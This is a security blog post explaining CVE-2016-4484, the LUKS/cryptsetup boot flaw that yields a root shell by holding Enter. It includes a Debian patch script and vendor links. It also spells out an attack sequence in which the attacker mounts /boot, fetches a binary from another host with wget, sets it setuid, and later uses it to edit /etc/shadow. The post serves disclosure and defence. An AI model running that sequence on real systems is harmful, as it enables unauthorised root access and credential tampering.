Two Button PWNage

73227552.jpg

Step One: Power. Step Two: Enter. Step Three: ???? Step Four: Profit.

In the security industry, we love our encryption. However sometimes, the complexity introduced by encryption can bite us down the road. A serious case of this was announced last Friday (November 11th) at DeepSec 2016 in Vienna.

CVE-2016-4484: After powering on most Linux computers with hard drive encryption enabled (LUKS), you can make your way into a root shell by simply holding down the enter key.

Alright that sounds bad, and it is. However, the shell you are presented with is severely stripped down, and the encrypted disks remain encrypted. Thankfully, this means a would-be attacker would not be able to access most of the data on the system.

However, the authors of the finding, Hector Marco and Ismael Ripoll, are quick to point out that the vulnerability is still useful for nefarious activities such as

Elevation of privilege: Since the boot partition is typically not encrypted:

It can be used to store an executable file with the bit SetUID enabled. Which can later be used to escalate privileges by a local user.

If the boot is not secured, then it would be possible to replace the kernel and the initrd image.

Information disclosure: It is possible to access all the disks. Although the system partition is encrypted it can be copied to an external device, where it can be later be brute forced. Obviously, it is possible to access non-encrypted information in other devices.

Denial of service: The attacker can delete the information on all the disks.

(Quoted from http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html)

How do I fix the issue?

Sadly, this bug occurs in several different code bases, making it harder to remedy. On Debian based systems, this problem exists in the cryptsetup package, and on RHEL based systems, the problem lies in the dracut package. At the time of this writing, I have not heard whether or not mkinitcpio based systems are affected.

On Debian based systems, the error is caused by an off by one error in the cryptroot shell script which is packaged with cryptsetup. Marco and Ripoll explain the error here. (link to http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html) An official patch has been rolled out to Debian’s unstable and testing repositories, but the patch has not been pushed through to the stable branch. Additionally, Ubuntu has yet to push through a patch to any of their repositories.

While you wait for the official patch, you can protect your system running the following script based on the fix suggested by Marco and Ripoll.

CVE-2016-4484-Debian-Fix

#!/bin/sh

perl -i -lpe '

if (/^[\s]+count=0/){

        print "\tsuccess=0";

};

if (/^[\s]+message "cryptsetup: \$crypttarget set up successfully"/){

        print "\t\tsuccess=1";

};

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

perl -i -0777 -pe '

s/[\s]+if \[ \$crypttries -gt 0 \] && \[ \$count -gt \$crypttries \];

then[\s]+message "cryptsetup: maximum number of tries exceeded for

\$crypttarget"[\s]+return 1/\n\tif [ \$success -eq 0 ];

then\n\t\tmessage \"cryptsetup: Maximum number of tries exceeded. 
Please

reboot.\"\n\t\twhile true; do\n\t\t\tsleep 100\n\t\tdone/

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

update-initramfs -u

Unfortunately, I cannot provide a fix for dracut on RHEL based systems. Dracut is an event based tool used to generate the initial ram disk used when booting up your Linux system, and I am not very familiar with its code base. However, the fix is likely to be simple, but after looking through the code, I did not quickly notice how to fix it.

In the meantime, checkout the progress being made on official patches here:

Debian: https://packages.qa.debian.org/c/cryptsetup.html

Ubuntu: https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4484.html 

RHEL: https://access.redhat.com/security/cve/cve-2016-4484

Dracut: http://git.kernel.org/cgit/boot/dracut/dracut.git/ 

73227707.jpg

Time to get to work!

Who cares about a vulnerability which requires physical access?

While exploiting this vulnerability requires physical access, it is still lethal in a virtual environment. Imagine an attacker is stalking your hypervisor. With this vulnerability, the attacker has an easy way to elevate their privileges on an encrypted virtual machine.

The attacker waits until the virtual machine is powered off, jumps into the root shell, mounts the unencrypted boot partition, loads some programs onto it, sets the sticky bit on the programs, shuts down the virtual machine, and waits until someone logs back into it. Now, all the attacker has to do is run the programs they loaded into the boot partition in order to obtain root access.

The commands used to execute this attack would look something like this:

##Drop into the shell using CVE 2016 4484

#Mount the boot partition

mkdir /boot

mount /dev/sda1 /boot

#Set up an ip address to receive executables

#Note: the busybox executables included in the initramfs do not 
work with the sticky bit

ip address add 192.168.0.74/24

ifconfig ens33 up

#Serve up /usr/bin on another computer (192.168.0.100/24)

#Download nano to the boot partition

cd /boot

wget 192.168.0.100/nano

#Set the sticky bit

chmod 4755 nano

#Shutdown

cd ..

umount /dev/sda1

poweroff

#Wait and obtain access to an underprivileged account

/boot/nano /etc/shadow

#WIN.

Note: This was tested using Ubuntu Server 16.04.  Fedora 24 does not seem to be vulnerable to this attack without some finagling, since chmod is not included in the dracut shell by default. However, dracut does include vi by default, which should be susceptible to the sticky bit attack.

How do we prevent these types of vulnerabilities?

The code in question concerning this vulnerability is all open source. There simply weren’t enough critical readers reviewing the code. As users of these immensely popular projects, we owe it to ourselves to occasionally participate in the code review process. It wasn’t only the contributors to these projects who failed. We failed. Next time you’re using a piece of technology critical to your business or daily habits, check if the source code is available for it. Skim through it. See if you can catch a bit of the ingenuity that went into creating it. If you don’t understand a lick of code, check out the wiki and bug trackers for the projects.  Too often we take software for granted, and we howl when vulnerabilities like this come out of the woodwork.

Learn more about CVE-2016-4484 at the official disclosure.